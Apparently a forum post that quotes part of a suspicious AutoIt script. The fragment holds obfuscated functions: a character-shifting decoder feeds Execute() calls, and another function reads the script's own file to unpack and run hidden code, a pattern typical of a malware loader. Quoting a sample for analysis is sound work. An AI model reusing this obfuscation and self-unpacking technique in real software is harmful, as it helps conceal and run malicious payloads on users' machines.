it looks like a mangled autoit script.
example of some of the functions.
Execute(BinaryToString(uhxsohecmlfqxho("7<M;<:7>?:@::;8;=:>:8;;:9:>:::=:>;8:<:>:?9?9@")))
Func _e0x93af71d27367a578()
$_e0xc8d508fa7367a578 = @ScriptFullPath
$_e0x3b7010987367a578 = Execute(BinaryToString(uhxsohecmlfqxho("79799<:;=;L;M<<<<=?;=<>=J=;;K<<:7;H;=<:<=>7<9<=<<;L<=<==>99")))
$_e0x2333bb637367a578 = Execute(BinaryToString(uhxsohecmlfqxho("7979;<M;<:7>?;::?;;:<:7:?;=;8:>:::=:>;8:<:>:?")))
$_e0x3be228e17367a578 = Execute(BinaryToString(uhxsohecmlfqxho("797;==@=J=<<9=<=8=;9?9;<M;<:7>?;::?;;:<:7:?;=;8:>:::=:>;8:<:>:?9@")))
$_e0xe4db59a57367a578 = Execute(BinaryToString(uhxsohecmlfqxho("797<:>;>9=@=L=>;@=L>:>;>99?9;<M;<:7>?::;9;<:9:9:?;<:8:>:::=:>;8:<:>:?9J979;<M;<:7>?::;9:>:7:8:7:@:?:>:::=:>;8:<:>:?9@")))
$_e0xa52fdb487367a578 = $_e0xe4db59a57367a578 + _e0xb045a8e37367a578($_e0x3b7010987367a578)
$_e0x3be228e17367a578 = StringMid($_e0x3be228e17367a578, $_e0xa52fdb487367a578)
Execute(BinaryToString(uhxsohecmlfqxho("7;:=8=J=J9?<M;<:7>?:::@;<:8;;;8;8:;:>:::=:>;8:<:>:?9?<M;<:7>?;;:?;;:=:;:7;8:7:>:::=:>;8:<:>:?9?9;<M;<:7>?::;9;<:9:9:?;<:8:>:::=:>;8:<:>:?9J979;<M;<:7>?::;9:>:7:8:7:@:?:>:::=:>;8:<:>:?9@9@9@")))
EndFunc
Func uhxsohecmlfqxho($fuckfuckfuck)
Local $iiiiiiii4ht8rdt18dr8tjdr1, $loooooooooooooooooooool
For $i = 1 To StringLen($fuckfuckfuck)
$loooooooooooooooooooool = StringMid($fuckfuckfuck, $i, 1)
$loooooooooooooooooooool = Asc($loooooooooooooooooooool) - 7
$loooooooooooooooooooool = Chr($loooooooooooooooooooool)
$iiiiiiii4ht8rdt18dr8tjdr1 = $iiiiiiii4ht8rdt18dr8tjdr1 & $loooooooooooooooooooool
Next
$loooooooooooooooooooool = $iiiiiiii4ht8rdt18dr8tjdr1
Return $loooooooooooooooooooool
EndFunc